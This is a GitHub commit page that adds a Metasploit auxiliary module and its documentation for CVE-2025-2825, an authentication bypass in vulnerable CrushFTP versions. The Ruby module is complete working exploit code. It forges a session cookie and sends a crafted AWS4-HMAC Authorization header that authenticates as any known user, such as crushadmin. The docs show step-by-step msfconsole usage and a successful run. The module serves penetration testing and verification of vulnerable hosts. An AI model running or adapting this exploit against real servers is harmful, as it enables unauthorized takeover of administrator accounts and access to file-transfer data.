Skip to content

Commit d52de7f

Browse files
authored
Merge pull request rapid7#20000 from remmons-r7/cve-2025-2825
Auxiliary module for CVE-2025-2825 - CrushFTP AWS4-HMAC Authentication Bypass
2 parents 8be5ce1 + 791cc0c commit d52de7f

File tree

2 files changed

+197
-0
lines changed

2 files changed

+197
-0
lines changed
Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
## Vulnerable Application
2+
This module leverages an authentication bypass in CrushFTP 11 < 11.3.1 and 10 < 10.8.4. Attackers
3+
with knowledge of a valid username can provide a crafted S3 authentication header to the CrushFTP web API
4+
to authenticate as that user without valid credentials. When successfully executed, the exploit will
5+
output working session cookies for the target user account. This vulnerability is tracked as CVE-2025-2825.
6+
More information can be found in the [Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysis).
7+
8+
## Options
9+
10+
### TARGETUSER
11+
The target account to forge a session cookie for (default: crushadmin).
12+
13+
## Testing
14+
To set up a test environment:
15+
1. Download a vulnerable 11.3.0 'CrushFTP.jar' file (SHA256: 6fbca7826d967bc56effb376743ff7921df907c576da74252844db9aeb0385a4).
16+
2. Configure `CRUSH_DIR` in `crushftp_init.sh` to point to the correct install directory.
17+
3. Execute `java -jar CrushFTP.jar` to show a local client GUI interface that can be used to set up an admin account.
18+
4. Execute `sudo crushftp_init.sh start` to launch the software on Linux or Mac. If on Windows, run `CrushFTP.exe` as an administrator.
19+
5. Follow the verification steps below.
20+
21+
## Verification Steps
22+
1. Start msfconsole
23+
2. `use auxiliary/gather/crushftp_authbypass_cve_2025_2825`
24+
3. `set RHOSTS <TARGET_IP_ADDRESS>`
25+
4. `set RPORT <TARGET_PORT>`
26+
5. `set TARGETUSER <TARGET_USER>`
27+
7. `run`
28+
29+
## Scenarios
30+
### CrushFTP on Windows, Linux, or Mac
31+
```
32+
msf6 > use auxiliary/gather/crushftp_authbypass_cve_2025_2825
33+
msf6 auxiliary(gather/crushftp_authbypass_cve_2025_2825) > set RHOSTS 192.168.181.129
34+
RHOSTS => 192.168.181.129
35+
msf6 auxiliary(gather/crushftp_authbypass_cve_2025_2825) > set RPORT 8080
36+
RPORT => 8080
37+
msf6 auxiliary(gather/crushftp_authbypass_cve_2025_2825) > set TARGETUSER crushadmin
38+
TARGETUSER => crushadmin
39+
msf6 auxiliary(gather/crushftp_authbypass_cve_2025_2825) > show options
40+
41+
Module options (auxiliary/gather/crushftp_authbypass_cve_2025_2825):
42+
43+
Name Current Setting Required Description
44+
---- --------------- -------- -----------
45+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
46+
RHOSTS 192.168.181.129 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
47+
RPORT 8080 yes The target port (TCP)
48+
SSL false no Negotiate SSL/TLS for outgoing connections
49+
TARGETURI / yes The URI path to CrushFTP
50+
TARGETUSER crushadmin yes The target account to forge a session cookie for
51+
VHOST no HTTP server virtual host
52+
53+
54+
View the full module info with the info, or info -d command.
55+
56+
msf6 auxiliary(gather/crushftp_authbypass_cve_2025_2825) > run
57+
[*] Running module against 192.168.181.129
58+
59+
[*] Confirming the target is a CrushFTP web service
60+
[*] Attempting to bypass authentication
61+
[+] The target returned the expected empty response and is likely vulnerable
62+
[*] Attempting to access an authenticated API endpoint with the malicious session cookie
63+
[+] Authentication bypass succeeded! Cookie string generated
64+
Cookie: CrushAuth=1743641873_PrrQtXKr3iuXBCqQIPcIbfx20w5uW3; currentAuth=5uW3
65+
66+
[*] Auxiliary module execution completed
67+
```
Lines changed: 130 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,130 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
9+
def initialize(info = {})
10+
super(
11+
update_info(
12+
info,
13+
'Name' => 'CrushFTP AWS4-HMAC Authentication Bypass',
14+
'Description' => %q{
15+
This module leverages an authentication bypass in CrushFTP 11 < 11.3.1 and 10 < 10.8.4. Attackers
16+
with knowledge of a valid username can provide a crafted S3 authentication header to the CrushFTP web API
17+
to authenticate as that user without valid credentials. When successfully executed, the exploit will
18+
output working session cookies for the target user account.
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' => [
22+
'Outpost24', # Initial Discovery
23+
'remmons-r7' # MSF Module & Rapid7 Analysis
24+
],
25+
'References' => [
26+
['CVE', '2025-2825'],
27+
['URL', 'https://attackerkb.com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysis']
28+
],
29+
'Notes' => {
30+
'Stability' => [CRASH_SAFE],
31+
# The CrushFTP.log file will contain a log of the HTTP requests
32+
# Similarly, files in logs/session_logs/ will contain a log of the HTTP requests
33+
# The sessions.obj file will temporarily persist details of recent requests
34+
'SideEffects' => [IOC_IN_LOGS],
35+
'Reliability' => []
36+
}
37+
)
38+
)
39+
40+
register_options(
41+
[
42+
Opt::RPORT(8080),
43+
OptString.new('TARGETUSER', [true, 'The target account to forge a session cookie for', 'crushadmin']),
44+
OptString.new('TARGETURI', [true, 'The URI path to CrushFTP', '/'])
45+
]
46+
)
47+
end
48+
49+
def run
50+
# Unauthenticated requests to WebInterface endpoints should receive a response containing an 'anonymous' user session cookie
51+
print_status('Confirming the target is a CrushFTP web service')
52+
res_anonymous = get_anon_session
53+
54+
fail_with(Failure::Unknown, 'Connection failed - unable to get web API response') unless res_anonymous
55+
56+
# Confirm that the response returned a CrushAuth cookie and the status code was 404. If this is not the case, the target is probably not CrushFTP
57+
if (res_anonymous&.code != 404) || res_anonymous&.get_cookies !~ /CrushAuth=([^;]+;)/
58+
fail_with(Failure::Unknown, 'The target does not appear to be a CrushFTP web service')
59+
end
60+
61+
# Generate a properly formatted fake CrushFTP cookie
62+
user_cookie = generate_fake_cookie
63+
64+
print_status('Attempting to bypass authentication')
65+
res_bypass = perform_auth_bypass(datastore['TARGETUSER'], user_cookie)
66+
67+
# Confirm that the target returns an empty response, otherwise it shouldn't be vulnerable
68+
fail_with(Failure::NotVulnerable, 'The target unexpectedly returned a response') if res_bypass
69+
70+
print_good('The target returned the expected empty response and is likely vulnerable')
71+
72+
# Perform a duplicate request to confirm the cookie is now authenticated
73+
print_status('Attempting to access an authenticated API endpoint with the malicious session cookie')
74+
res_bypass = perform_auth_bypass(datastore['TARGETUSER'], user_cookie)
75+
76+
# Check for request failure, which indicates that the provided username is invalid
77+
fail_with(Failure::BadConfig, 'Connection failed - the provided username is likely invalid') unless res_bypass
78+
79+
# If the target doesn't return a success message, assume the exploit failed
80+
if !res_bypass.body.include? "<response>success</response><username>#{datastore['TARGETUSER']}</username>"
81+
fail_with(Failure::Unknown, 'Exploit failed - the target did not confirm authentication status')
82+
end
83+
84+
cookie_string = "Cookie: CrushAuth=#{user_cookie}; currentAuth=#{user_cookie.to_s[-4..]}"
85+
86+
print_good("Authentication bypass succeeded! Cookie string generated\n#{cookie_string}\n")
87+
88+
report_vuln(
89+
host: rhost,
90+
name: name,
91+
refs: references
92+
)
93+
94+
store_loot('CrushAuth', 'text/plain', datastore['RHOST'], cookie_string)
95+
end
96+
97+
# A GET request to /WebInterface/ should return a 404 response that contains an 'anonymous' user cookie
98+
def get_anon_session
99+
send_request_cgi(
100+
'method' => 'GET',
101+
'uri' => normalize_uri(target_uri.path, 'WebInterface/')
102+
)
103+
end
104+
105+
def generate_fake_cookie
106+
current_timestamp = Time.now.to_i
107+
random_string = Rex::Text.rand_text_alphanumeric(30)
108+
"#{current_timestamp}_#{random_string}"
109+
end
110+
111+
# Make a request to the getUsername web API with the malicious bypass header
112+
def perform_auth_bypass(username, cookie)
113+
send_request_cgi(
114+
{
115+
'method' => 'POST',
116+
'uri' => normalize_uri(target_uri.path, 'WebInterface', 'function/'),
117+
'cookie' => "CrushAuth=#{cookie}",
118+
'headers' => {
119+
'Connection' => 'close',
120+
'Authorization' => "AWS4-HMAC-SHA256 Credential=#{username}/"
121+
},
122+
'vars_post' => {
123+
'command' => 'getUsername',
124+
# The c2f parameter must be the last four characters of the primary session cookie
125+
'c2f' => cookie.to_s[-4..]
126+
}
127+
}
128+
)
129+
end
130+
end

0 commit comments

Comments
 (0)